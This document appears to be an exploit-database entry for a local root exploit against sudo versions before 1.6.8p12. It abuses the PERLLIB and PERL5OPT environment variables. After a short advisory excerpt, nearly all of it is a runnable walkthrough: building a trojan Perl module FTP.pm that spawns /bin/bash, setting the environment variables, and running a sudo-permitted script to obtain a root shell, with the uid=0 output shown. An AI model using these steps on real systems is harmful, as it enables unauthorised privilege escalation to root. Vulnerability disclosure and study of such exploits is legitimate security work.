130 lines
No EOL
3 KiB
Text
130 lines
No EOL
3 KiB
Text
source: https://www.securityfocus.com/bid/15394/info
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Sudo is prone to a security-bypass vulnerability that could lead to arbitrary code execution. This issue is due to an error in the application when handling the 'PERLLIB', 'PERL5LIB', and 'PERL5OPT' environment variables when tainting is ignored.
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An attacker can exploit this vulnerability to bypass security restrictions and include arbitrary library files.
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To exploit this vulnerability, an attacker must be able to run Perl scripts through Sudo.
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## Sudo local root exploit ##
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## vuln versions : sudo < 1.6.8p12
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## adv : https://www.securityfocus.com/bid/15394
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## adv : http://www.frsirt.com/bulletins/2642
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##by breno - breno@kalangolinux.org
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## You need execute access to perl script in sudo ##
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## cat /etc/sudoers ##
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breno ALL=(ALL) /home/breno/code.pl
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## Now let's create your own perl module FTP.pm :) good name.
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breno ~ $ -> mkdir modules
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breno ~ $ -> mkdir FTP
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breno ~/modules $ -> ls
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FTP
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breno ~/modules $ -> cd FTP
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breno ~/modules/FTP $ -> h2xs -AXc -n FTP
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Defaulting to backwards compatibility with perl 5.8.7
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If you intend this module to be compatible with earlier perl versions, please
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specify a minimum perl version with the -b option.
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Writing FTP/lib/FTP.pm
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Writing FTP/Makefile.PL
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Writing FTP/README
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Writing FTP/t/FTP.t
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Writing FTP/Changes
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Writing FTP/MANIFEST
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breno ~/modules/FTP $ ->
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breno ~/modules/FTP/FTP $ -> perl Makefile.PL
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Checking if your kit is complete...
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Looks good
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Writing Makefile for FTP
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breno ~/modules/FTP/FTP $ -> make
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cp lib/FTP.pm blib/lib/FTP.pm
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Manifying blib/man3/FTP.3pm
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breno ~/modules/FTP/FTP $ -> make test
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PERL_DL_NONLAZY=1 /usr/bin/perl "-MExtUtils::Command::MM" "-e" "test_harness(0,
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'blib/lib', 'blib/arch')" t/*.t
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t/FTP....ok
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All tests successful.
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Files=1, Tests=1, 0 wallclock secs ( 0.03 cusr + 0.01 csys = 0.04 CPU)
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breno ~/modules/FTP/FTP $ ->
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#Now i deleted the default FTP.pm (it was ugly), and create my beautiful module
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breno ~/modules/FTP/FTP/blib/lib $ -> vi FTP.pm
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package FTP;
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use strict;
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use vars qw($VERSION);
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$VERSION = '0.01';
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sub new {
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my $package = shift;
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return bless({}, $package);
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}
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sub verbose {
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my $self = shift;
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system("/bin/bash");
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if (@_) {
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$self->{'verbose'} = shift;
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}
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return $self->{'verbose'};
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}
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sub hoot {
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my $self = shift;
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return "Don't pollute!" if $self->{'verbose'};
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return;
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}
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1;
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__END__
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EOF
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# Remenber our super code.pl
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breno ~ $ -> vi code.pl
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#!/usr/bin/perl
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BEGIN { $| = 1; print "1..1\n"; }
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END {print "not ok 1\n" unless $loaded;}
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use FTP;
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$loaded = 1;
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print "ok 1\n";
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my $obj = new FTP;
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$obj->verbose(1);
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my $result = $obj->hoot;
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print ($result eq "Don't pollute!" ? "ok 2\n" : "not ok 2\n");
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$obj->verbose(0);
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my $result = $obj->hoot;
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print ($result eq "" ? "ok 3\n" : "not ok 3\n");
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EOF
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# Now let's play with PERLLIB and PERL5OPT env.
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breno ~ $ -> export PERLLIB="/home/breno/modules/FTP/FTP/blib/lib/"
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breno ~ $ -> export PERL5OPT="-MFTP"
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# Now get Root!! :)
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breno ~ $ -> sudo ./code.pl
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Password:
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1..1
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ok 1
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root ~ # -> id
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uid=0(root) gid=0(root) grupos=0(root)
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root ~ # -> |